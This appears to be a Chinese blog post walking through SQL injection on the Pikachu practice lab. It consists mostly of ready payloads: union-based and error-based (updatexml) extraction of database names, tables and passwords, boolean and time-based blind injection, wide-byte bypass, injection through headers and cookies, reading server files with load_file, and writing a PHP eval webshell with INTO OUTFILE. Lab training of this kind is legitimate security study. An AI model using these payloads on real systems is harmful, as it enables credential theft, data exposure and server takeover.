当前位置:   article > 正文

sql注入——pikachu靶场_sql注入靶机

sql注入靶机

工具:burpsuit,hackbar

靶场:pikachu

一,基本注入类型:

1,数字型注入

(1)先用burpsuit抓包,或使用浏览器开发者工具找到请求data

然后使用hackbar点击post data发送请求

id=3 or 1=1 &submit=查询 

2,字符型注入

' or 1=1 #

3,搜索型注入

  1. %s%
  2. %s%' or 1=1
  3. select id,email from member where username='kevin'union select username,pw from member where id=1;
  4. a' order by 5 # 判断有多少字段
  5. # database() 查看数据库名,用户,版本
  6. a ' union select database(),user(),version() 要和order by判断出的长度一致
  7. # 判断数据库表名
  8. u' union select table_schema,table_name,3 from information_schema.tables where table_schema="pikachu"#
  9. # information_schema 数据库中tabkles保存所有数据库对应的表名 columns中保存所有字段
  10. ee' union select table_name,column_name,3 from information_schema.columns where table_schema="pikachu" #
  11. er 'union select username,password,3 from users #

4,xx型注入

') or 1=1 #

5,insert,update注入

注册用户时注入,使用重发器(基于报错信息获取)

  1. #爆表名
  2. 'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

update注入

在修改信息页面:提交修改,

  1. 'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or' 要进行特护字符编码转换
  2. 'or updatexml(0,concat(0x7e,database()),0) or'要进行特护字符编码转换

6,detele注入使用hackbar(报错显示数据库)

http://192.168.248.111/pikachu/vul/sqli/sqli_del.php?id=4546 or updatexml(2,concat(0x7e,(database())),0)

7,http header和cookie注入

在user-agent注入:

'or updatexml(0,concat(0x7e,(select password from users limit 0,1)),0) or'

cookie中注入:

  1. # cookie注入:在admin后添加 ' 语句#
  2. ant[uname]=admin'and updatexml(1,concat(0x7e,database()),0)#;

8,布尔盲注:

  1. # 判断数据库名长度,如果正确显示用户,错误显示用户名不正确
  2. vince ' and length(database())=8#
  3. # p的ascii码是112 正确显示用户错误显示用户名不正确
  4. vince ' and ascii(substr(database(),1,1))=112#

10,时间盲注,原理:如果可以注入,就延时,如果不行就立刻显示

vince ' and if(substr(database(),1,1)='p',sleep(10),null)#

11,宽字节注入:

原理:https://www.cnblogs.com/yyy413/p/15705734.html

  1. 使用burpsuit注入+
  2. vince%df' or 1=1#

12,------- 基于报错信息获取---------

  1. # 爆数据库版本0x7e可换为任意16进制字符串
  2. l'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
  3. # 爆数据库当前用户
  4. k' and updatexml(1,concat(0x7e,(select user()),0x7e),1) #
  5. # 爆当前数据库
  6. k' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
  7. # 爆表 limit 0,1  一次取一行
  8. l' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0

二,注入成功后文件操作:

1,读取文件:

  1. # 联合查询读取文件
  2. 'union select 1,load_file('c:\\aa.txt') #
  3. 'union select 1,load_file('c:/aa.txt') -- +
  4. # 可能需要把c:/aa.txt转义16进制文件周围引号要去掉
  5. 'union select 1,load_file(0x633a2f61612e747874)#

2,写入文件

  1. # 写入一句话木马
  2. 1' union select 1,"<?php eval($_POST[wang]);?>" into outfile 'C:/111.php'-- l​

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/267525?site
推荐阅读
相关标签
  

闽ICP备14008679号